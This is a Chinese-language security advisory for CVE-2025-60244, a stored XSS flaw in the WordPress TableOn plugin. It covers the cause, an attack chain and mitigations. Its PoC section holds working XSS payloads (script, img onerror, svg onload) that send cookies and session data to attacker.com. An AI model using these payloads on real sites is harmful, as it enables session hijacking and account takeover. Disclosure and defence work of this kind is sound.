IPBUF安全漏洞报告
English
CVE-2025-60244 CVSS 7.1 高危

CVE-2025-60244 WordPress TableOn插件存储型XSS漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-60244
漏洞类型
存储型XSS/代码注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
RealMag777 TableOn posts-table-filterable WordPress插件

相关标签

存储型XSS代码注入WordPress插件漏洞CVE-2025-60244TableOnRealMag777跨站脚本CVSS 7.1高危漏洞Patchstack

漏洞概述

CVE-2025-60244是WordPress插件TableOn(posts-table-filterable)中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分7.1,属于高危漏洞。该漏洞由Patchstack团队的安全研究员发现并报告,漏洞编号为CVE-2025-60244。TableOn是一款用于创建可筛选、可排序的表格展示WordPress posts的流行插件,广泛应用于内容管理和展示场景。

该漏洞的根本原因在于插件未能正确对用户输入的脚本相关HTML标签进行中和净化(Improper Neutralization of Script-Related HTML Tags),导致攻击者可以在表格内容中注入恶意JavaScript代码。由于该漏洞属于存储型XSS,恶意代码会被永久存储在数据库中,当其他用户访问包含恶意内容的页面时,注入的脚本会自动执行。这意味着所有访问受影响页面的用户都会受到攻击,包括管理员和其他具有不同权限级别的用户。

攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击、在用户浏览器中执行任意JavaScript代码,甚至可能利用管理员权限进一步渗透网站服务器。考虑到该插件的普及程度和XSS漏洞的危害性,建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞属于CWE-80(Improper Neutralization of Script-Related HTML Tags)类别,即未能正确中和化脚本相关的HTML标签。

漏洞原理:
TableOn插件在处理和展示posts数据时,会将用户输入的内容(包括通过自定义字段、标题、内容等)渲染到网页上。问题在于插件在数据处理和输出环节缺少适当的输入验证和输出编码。当攻击者在WordPress posts的某个字段中注入恶意脚本标签(如<script>alert('XSS')</script>或事件处理器属性如onerror、onload等),这些恶意代码会被保存到数据库中。由于插件在输出数据时未进行HTML实体编码或内容安全策略(CSP)控制,浏览器会将其解析为可执行代码。

利用方式:
1. 攻击者首先需要能够创建或编辑WordPress posts(任何具有文章撰写权限的用户均可)
2. 在TableOn表格显示的字段中(如标题、自定义字段等)插入恶意JavaScript代码
3. 恶意代码随文章保存到数据库,形成存储型XSS
4. 当其他用户访问包含该文章的页面或TableOn生成的表格时,恶意脚本自动执行
5. 攻击者可窃取认证令牌、session cookies或执行其他恶意操作

受影响版本范围从n/a至1.0.5.1(含),该插件在WordPress插件目录中拥有大量安装用户。攻击复杂度低(AC:L),无需认证(PR:N),但需要用户交互(UI:R)触发,且攻击影响范围为改变后的范围(S:C)。

攻击链分析

STEP 1
信息收集
攻击者识别目标网站使用的TableOn插件版本,确认版本号<=1.0.5.1以确定漏洞存在
STEP 2
权限获取
攻击者获取WordPress网站的撰写权限(通过账户注册、弱密码或社工攻击等方式),获得创建或编辑posts的能力
STEP 3
恶意载荷注入
攻击者在WordPress post的标题、内容或自定义字段中注入XSS恶意代码,这些数据会被TableOn插件读取并存储在数据库中
STEP 4
存储持久化
恶意代码随post数据永久存储到MySQL数据库中,无需攻击者再次操作即可长期生效
STEP 5
受害者访问
普通用户或管理员访问包含恶意内容的页面或TableOn生成的表格视图
STEP 6
脚本执行
浏览器解析页面时,未经过滤的恶意JavaScript代码被执行,窃取用户cookie、会话令牌或其他敏感信息
STEP 7
数据外传
恶意脚本将窃取的认证信息发送到攻击者控制的C2服务器,攻击者利用这些凭证劫持用户会话或提升权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60244 PoC: Stored XSS in TableOn WordPress Plugin --> <!-- This PoC demonstrates the storage XSS vulnerability in TableOn plugin <= 1.0.5.1 --> <!-- Attack vector: Inject malicious JavaScript through WordPress post content --> <!-- Method 1: Script tag injection --> <script>console.log('XSS Payload Executed'); // Steal cookies document.location='https://attacker.com/steal?cookie='+document.cookie; </script> <!-- Method 2: Event handler injection (alternative) --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Method 3: SVG-based injection --> <svg/onload=fetch('https://attacker.com/steal?sess='+btoa(document.cookie))> <!-- Steps to exploit: --> <!-- 1. Login to WordPress with contributor/author/admin privileges --> <!-- 2. Create or edit a post --> <!-- 3. Add one of the above payloads in a field displayed by TableOn --> <!-- 4. Save and publish the post --> <!-- 5. When any user views the post or TableOn table, the JS executes --> <!-- Real-world attack payload example: --> <script> // Exfiltrate session data const data = { cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent, referrer: document.referrer }; // Send stolen data to attacker-controlled server fetch('https://attacker.com/api/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify(data) }); </script>

影响范围

TableOn <= 1.0.5.1
TableOn < 1.0.6 (修复版本)

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:1)禁用或删除TableOn插件直到完成升级;2)撤销所有非管理员用户的文章发布权限,只允许管理员创建内容;3)使用WordPress安全插件启用实时的XSS攻击防护规则;4)手动审查现有posts内容,移除可疑的script标签和事件处理器属性;5)实施严格的CSP策略阻止内联脚本执行;6)考虑使用第三方WAF服务提供商的XSS防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表